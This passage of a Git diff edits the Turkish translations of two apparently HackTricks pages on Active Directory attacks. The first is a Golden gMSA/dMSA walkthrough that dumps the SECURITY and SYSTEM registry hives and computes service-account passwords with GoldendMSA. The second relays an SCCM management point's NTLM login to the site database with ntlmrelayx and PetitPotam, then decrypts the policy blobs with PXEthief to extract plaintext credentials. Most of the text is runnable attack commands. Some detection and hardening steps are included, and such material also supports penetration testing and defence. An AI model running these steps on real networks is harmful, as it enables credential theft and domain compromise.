* `msDS-ManagedPasswordId` niteliğinde bulunan her hesap için bir **ManagedPasswordID** (GUID).
|
||||
|
||||
@ -19,23 +19,23 @@ Türevleme işlemi: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 2
|
||||
|
||||
## Golden gMSA / Golden dMSA Saldırısı
|
||||
|
||||
Eğer bir saldırgan tüm üç girdi **çevrimdışı** elde edebilirse, **orman içindeki herhangi bir gMSA/dMSA için geçerli mevcut ve gelecekteki parolaları** hesaplayabilir ve DC'ye tekrar dokunmadan şu yolları atlayabilir:
|
||||
Bir saldırgan, tüm üç girdi **çevrimdışı** elde edebilirse, **orman içindeki herhangi bir gMSA/dMSA için geçerli mevcut ve gelecekteki parolaları** hesaplayabilir ve DC'ye tekrar dokunmadan şu işlemleri atlayabilir:
|
||||
|
||||
* LDAP okuma denetimi
|
||||
* Parola değiştirme aralıkları (önceden hesaplayabilirler)
|
||||
|
||||
Bu, hizmet hesapları için bir *Golden Ticket* ile benzerlik göstermektedir.
|
||||
Bu, hizmet hesapları için bir *Golden Ticket* ile benzerlik gösterir.
|
||||
|
||||
### Ön Koşullar
|
||||
|
||||
1. **Bir DC'nin (veya Enterprise Admin'in) orman düzeyinde ele geçirilmesi**, veya ormandaki DC'lerden birine `SYSTEM` erişimi.
|
||||
1. **Bir DC'nin (veya Enterprise Admin'in) orman düzeyinde ele geçirilmesi** veya ormandaki DC'lerden birine `SYSTEM` erişimi.
|
||||
2. Hizmet hesaplarını listeleme yeteneği (LDAP okuma / RID brute-force).
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) veya eşdeğer kodu çalıştırmak için .NET ≥ 4.7.2 x64 iş istasyonu.
|
||||
|
||||
### Golden gMSA / dMSA
|
||||
##### Aşama 1 – KDS Kök Anahtarını Çıkar
|
||||
|
||||
Herhangi bir DC'den döküm alın (Hacim Gölge Kopyası / ham SAM+GÜVENLİK hives veya uzaktan sırlar):
|
||||
Herhangi bir DC'den döküm (Hacim Gölgeleme Kopyası / ham SAM+GÜVENLİK hives veya uzaktan gizli anahtarlar):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
@ -74,7 +74,7 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
##### Aşama 3 – Yönetilen Parola Kimliğini Tahmin Et / Keşfet (eksik olduğunda)
|
||||
|
||||
Bazı dağıtımlar `msDS-ManagedPasswordId`'yi ACL korumalı okumalarından *çıkarır*.
|
||||
GUID 128 bit olduğundan, naif brute force uygulanabilir değildir, ancak:
|
||||
GUID 128 bit olduğundan, basit bir brute force uygulanabilir değildir, ancak:
|
||||
|
||||
1. İlk **32 bit = Hesap oluşturma Unix epoch zamanı** (dakika çözünürlüğü).
|
||||
2. Ardından 96 rastgele bit gelir.
|
||||
@ -83,11 +83,11 @@ Bu nedenle, **her hesap için dar bir kelime listesi** (± birkaç saat) gerçek
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Araç, aday şifreleri hesaplar ve bunların base64 blob'unu gerçek `msDS-ManagedPassword` niteliği ile karşılaştırır - eşleşme doğru GUID'i ortaya çıkarır.
|
||||
Araç, aday şifreleri hesaplar ve bunların base64 blob'unu gerçek `msDS-ManagedPassword` niteliği ile karşılaştırır – eşleşme doğru GUID'i ortaya çıkarır.
|
||||
|
||||
##### Aşama 4 – Çevrimdışı Şifre Hesaplama ve Dönüştürme
|
||||
|
||||
ManagedPasswordID bilindiğinde, geçerli şifre bir komut kadar yakındır:
|
||||
ManagedPasswordID bilindiğinde, geçerli şifre bir komut uzaklıktadır:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
|
@ -3,18 +3,18 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Bir **System Center Configuration Manager (SCCM) Yönetim Noktası (MP)**'nı SMB/RPC üzerinden kimlik doğrulamaya zorlayarak ve bu NTLM makine hesabını **site veritabanına (MSSQL)** **relay** ederek `smsdbrole_MP` / `smsdbrole_MPUserSvc` haklarını elde edersiniz. Bu roller, **Operating System Deployment (OSD)** politika blob'larını (Ağ Erişim Hesabı kimlik bilgileri, Görev Dizisi değişkenleri vb.) açığa çıkaran bir dizi saklı prosedürü çağırmanıza olanak tanır. Blob'lar hex kodlu/şifreli olup, **PXEthief** ile çözülebilir ve şifresi çözülebilir, düz metin gizli bilgileri verir.
|
||||
Bir **System Center Configuration Manager (SCCM) Yönetim Noktası (MP)**'nı SMB/RPC üzerinden kimlik doğrulamaya zorlayarak ve bu NTLM makine hesabını **site veritabanına (MSSQL)** **aktarıp** `smsdbrole_MP` / `smsdbrole_MPUserSvc` haklarını elde edersiniz. Bu roller, **İşletim Sistemi Dağıtımı (OSD)** politika blob'larını (Ağ Erişim Hesabı kimlik bilgileri, Görev Dizisi değişkenleri vb.) açığa çıkaran bir dizi saklı prosedürü çağırmanıza olanak tanır. Blob'lar hex kodlu/şifreli olup, **PXEthief** ile çözülebilir ve şifresi çözülebilir, düz metin gizli bilgileri verir.
|
||||
|
||||
Yüksek seviyeli zincir:
|
||||
1. MP & site DB'yi keşfedin ↦ kimlik doğrulaması yapılmamış HTTP uç noktası `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
2. `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks` başlatın.
|
||||
3. MP'yi **PetitPotam**, PrinterBug, DFSCoerce vb. kullanarak zorlayın.
|
||||
4. SOCKS proxy üzerinden `mssqlclient.py -windows-auth` ile relay edilen **<DOMAIN>\\<MP-host>$** hesabı olarak bağlanın.
|
||||
5. Aşağıdakileri yürütün:
|
||||
1. MP & site DB'yi keşfet ↦ kimlik doğrulaması yapılmamış HTTP uç noktası `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
2. `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks` başlat.
|
||||
3. MP'yi **PetitPotam**, PrinterBug, DFSCoerce vb. kullanarak zorla.
|
||||
4. SOCKS proxy üzerinden `mssqlclient.py -windows-auth` ile aktarılan **<DOMAIN>\\<MP-host>$** hesabı olarak bağlan.
|
||||
5. Şu komutları çalıştır:
|
||||
* `use CM_<SiteCode>`
|
||||
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (veya `MP_GetPolicyBodyAfterAuthorization`)
|
||||
6. `0xFFFE` BOM'u çıkarın, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
|
||||
6. `0xFFFE` BOM'u çıkar, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
|
||||
|
||||
`OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password` gibi gizli bilgiler, PXE veya istemcilerle etkileşime girmeden kurtarılır.
|
||||
|
||||
@ -27,7 +27,7 @@ MP ISAPI uzantısı **GetAuth.dll**, kimlik doğrulaması gerektirmeyen birkaç
|
||||
|-----------|---------|
|
||||
| `MPKEYINFORMATIONMEDIA` | Site imzalama sertifikası genel anahtarını + *x86* / *x64* **Tüm Bilinmeyen Bilgisayarlar** cihazlarının GUID'lerini döndürür. |
|
||||
| `MPLIST` | Sitedeki her Yönetim Noktasını listeler. |
|
||||
| `SITESIGNCERT` | Birincil Site imzalama sertifikasını döndürür (LDAP olmadan site sunucusunu tanımlayın). |
|
||||
| `SITESIGNCERT` | Birincil Site imzalama sertifikasını döndürür (LDAP olmadan site sunucusunu tanımlamak için). |
|
||||
|
||||
Daha sonraki DB sorguları için **clientID** olarak kullanılacak GUID'leri alın:
|
||||
```bash
|
||||
@ -81,7 +81,7 @@ Eğer zaten `PolicyID` ve `PolicyVersion`'a sahipseniz, clientID gereksinimini a
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> ÖNEMLİ: SSMS'de "Maksimum Alınan Karakter" değerini artırın (>65535) aksi takdirde blob kesilecektir.
|
||||
> ÖNEMLİ: SSMS'de "Alınan Maksimum Karakter" değerini artırın (>65535) aksi takdirde blob kesilecektir.
|
||||
|
||||
---
|
||||
|
||||
@ -93,7 +93,7 @@ echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
# Decrypt with PXEthief (7 = decrypt attribute value)
|
||||
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
|
||||
```
|
||||
Kurtarılan gizli bilgiler örneği:
|
||||
Recovered secrets example:
|
||||
```
|
||||
OSDJoinAccount : CONTOSO\\joiner
|
||||
OSDJoinPassword: SuperSecret2025!
|
||||
@ -113,7 +113,7 @@ Bu roller, bu saldırıda kullanılan ana EXEC izinleri de dahil olmak üzere, o
|
||||
|------------------|---------|
|
||||
| `MP_GetMachinePolicyAssignments` | Bir `clientID` için uygulanan politikaları listele. |
|
||||
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Tam politika gövdesini döndür. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` yolu tarafından döndürülen. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` yolu tarafından döndürülür. |
|
||||
|
||||
Tam listeyi inceleyebilirsiniz:
|
||||
```sql
|
||||
@ -127,10 +127,10 @@ AND pe.permission_name='EXECUTE';
|
||||
---
|
||||
|
||||
## 6. Tespit ve Güçlendirme
|
||||
1. **MP oturumlarını izleyin** – herhangi bir MP bilgisayar hesabı, ana bilgisayarı olmayan bir IP'den oturum açıyorsa ≈ relay.
|
||||
1. **MP oturumlarını izleyin** – herhangi bir MP bilgisayar hesabının, ana bilgisayarı olmayan bir IP'den oturum açması ≈ relay.
|
||||
2. Site veritabanında **Kimlik Doğrulama için Genişletilmiş Koruma (EPA)**'yı etkinleştirin (`PREVENT-14`).
|
||||
3. Kullanılmayan NTLM'yi devre dışı bırakın, SMB imzasını zorlayın, RPC'yi kısıtlayın (aynı önlemler `PetitPotam`/`PrinterBug` için kullanılır).
|
||||
4. MP ↔ DB iletişimini IPSec / karşılıklı TLS ile güçlendirin.
|
||||
4. MP ↔ DB iletişimini IPSec / karşılıklı-TLS ile güçlendirin.
|
||||
|
||||
---
|
||||
|
||||
@ -148,7 +148,7 @@ abusing-ad-mssql.md
|
||||
|
||||
|
||||
## Referanslar
|
||||
- [Yöneticiyle Konuşmak İsterim: Yönetim Noktası Relay'leri ile Gizli Bilgileri Çalma](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [Yöneticiyle Konuşmak İsterim: Yönetim Noktası Relay'leri ile Gizli Bilgileri Çalmak](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||
- [Yanlış Yapılandırma Yöneticisi – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user